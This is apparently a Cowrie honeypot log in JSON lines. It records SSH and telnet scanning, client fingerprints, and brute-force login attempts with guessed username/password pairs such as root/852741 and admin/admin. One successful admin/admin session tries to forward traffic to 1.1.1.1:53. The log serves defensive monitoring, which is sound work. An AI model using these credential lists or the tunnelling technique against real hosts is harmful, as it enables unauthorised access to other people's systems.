{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:52:56.363066Z","src_ip":"103.82.132.16","session":"e8bb80311638","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:52:56.615703Z","src_ip":"103.82.132.16","session":"e8bb80311638","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"852741","message":"login attempt [root/852741] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:52:57.369979Z","src_ip":"103.82.132.16","session":"e8bb80311638","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59322,"dst_ip":"159.203.135.109","dst_port":23,"session":"44d3def85b48","protocol":"telnet","message":"New connection: 135.148.14.151:59322 (159.203.135.109:23) [session: 44d3def85b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:52:58.400687Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:52:58.627675Z","src_ip":"103.82.132.16","session":"e8bb80311638","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34764,"dst_ip":"159.203.135.109","dst_port":23,"session":"45f8c79ba823","protocol":"telnet","message":"New connection: 135.148.14.151:34764 (159.203.135.109:23) [session: 45f8c79ba823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:04.467780Z"}
{"eventid":"cowrie.session.closed","duration":35.01402258872986,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:05.092968Z","src_ip":"135.148.14.151","session":"b209cd97f028","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.71421980857849,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:06.786890Z","src_ip":"135.148.14.151","session":"c75dde430ab8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":50332,"dst_ip":"159.203.135.109","dst_port":22,"session":"175ba58f97f5","protocol":"ssh","message":"New connection: 94.159.110.201:50332 (159.203.135.109:22) [session: 175ba58f97f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:07.788821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:07.793643Z","src_ip":"94.159.110.201","session":"175ba58f97f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:07.914326Z","src_ip":"94.159.110.201","session":"175ba58f97f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159357456","message":"login attempt [root/159357456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:08.275308Z","src_ip":"94.159.110.201","session":"175ba58f97f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:09.399246Z","src_ip":"94.159.110.201","session":"175ba58f97f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.439371824264526,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:09.752380Z","src_ip":"135.148.14.151","session":"9a95612afe1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38714,"dst_ip":"159.203.135.109","dst_port":23,"session":"0866de797eec","protocol":"telnet","message":"New connection: 135.148.14.151:38714 (159.203.135.109:23) [session: 0866de797eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:12.661667Z"}
{"eventid":"cowrie.session.closed","duration":35.28273057937622,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:13.032053Z","src_ip":"135.148.14.151","session":"451d5632f93e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00236010551453,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:27.180977Z","src_ip":"135.148.14.151","session":"bd8cde8993e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.151.249.194","src_port":49424,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8d99631ec12","protocol":"ssh","message":"New connection: 61.151.249.194:49424 (159.203.135.109:22) [session: f8d99631ec12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:29.305020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:30.722437Z","src_ip":"61.151.249.194","session":"f8d99631ec12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:30.727096Z","src_ip":"61.151.249.194","session":"f8d99631ec12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.221.232.44","src_port":48362,"dst_ip":"159.203.135.109","dst_port":22,"session":"3efe97a49ab8","protocol":"ssh","message":"New connection: 197.221.232.44:48362 (159.203.135.109:22) [session: 3efe97a49ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:33.709723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:33.714518Z","src_ip":"197.221.232.44","session":"3efe97a49ab8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:33.956644Z","src_ip":"197.221.232.44","session":"3efe97a49ab8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"testftp","message":"login attempt [testftp/testftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:34.953936Z","src_ip":"197.221.232.44","session":"3efe97a49ab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.546610593795776,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:35.947198Z","src_ip":"135.148.14.151","session":"44d3def85b48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:36.201269Z","src_ip":"197.221.232.44","session":"3efe97a49ab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.79893231391907,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:40.266576Z","src_ip":"135.148.14.151","session":"45f8c79ba823","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.127.125.43","src_port":32869,"dst_ip":"159.203.135.109","dst_port":23,"session":"6721fce98ab2","protocol":"telnet","message":"New connection: 128.127.125.43:32869 (159.203.135.109:23) [session: 6721fce98ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:42.505096Z"}
{"eventid":"cowrie.session.closed","duration":40.03900361061096,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:52.700542Z","src_ip":"135.148.14.151","session":"0866de797eec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.651055574417114,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:55.156064Z","src_ip":"128.127.125.43","session":"6721fce98ab2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":2648,"dst_ip":"10.17.0.5","dst_port":22,"session":"b248842f64ad","protocol":"ssh","message":"New connection: 87.251.64.176:2648 (10.17.0.5:22) [session: b248842f64ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:55.373025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:55.378411Z","src_ip":"87.251.64.176","session":"b248842f64ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:55.474234Z","src_ip":"87.251.64.176","session":"b248842f64ad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:55.763325Z","src_ip":"87.251.64.176","session":"b248842f64ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:55.865102Z","session":"b248842f64ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:55.962027Z","src_ip":"87.251.64.176","session":"b248842f64ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:53:56.196897Z","src_ip":"87.251.64.176","session":"b248842f64ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":60098,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e630bab5dc7","protocol":"ssh","message":"New connection: 185.236.22.41:60098 (10.17.0.5:22) [session: 6e630bab5dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:54:07.152842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:54:07.158779Z","src_ip":"185.236.22.41","session":"6e630bab5dc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:54:07.274538Z","src_ip":"185.236.22.41","session":"6e630bab5dc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456vv","message":"login attempt [root/123456vv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:54:07.623152Z","src_ip":"185.236.22.41","session":"6e630bab5dc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:54:08.738120Z","src_ip":"185.236.22.41","session":"6e630bab5dc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37320,"dst_ip":"159.203.135.109","dst_port":23,"session":"53648ac4dfc4","protocol":"telnet","message":"New connection: 135.148.14.151:37320 (159.203.135.109:23) [session: 53648ac4dfc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:54:12.230637Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":54844,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d20eeeaee83","protocol":"ssh","message":"New connection: 38.93.206.2:54844 (10.17.0.5:22) [session: 8d20eeeaee83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:54:14.149391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:54:14.159766Z","src_ip":"38.93.206.2","session":"8d20eeeaee83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:54:14.210741Z","src_ip":"38.93.206.2","session":"8d20eeeaee83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adelaida","message":"login attempt [root/adelaida] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:54:14.368653Z","src_ip":"38.93.206.2","session":"8d20eeeaee83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:54:15.422422Z","src_ip":"38.93.206.2","session":"8d20eeeaee83","protocol":"ssh"}
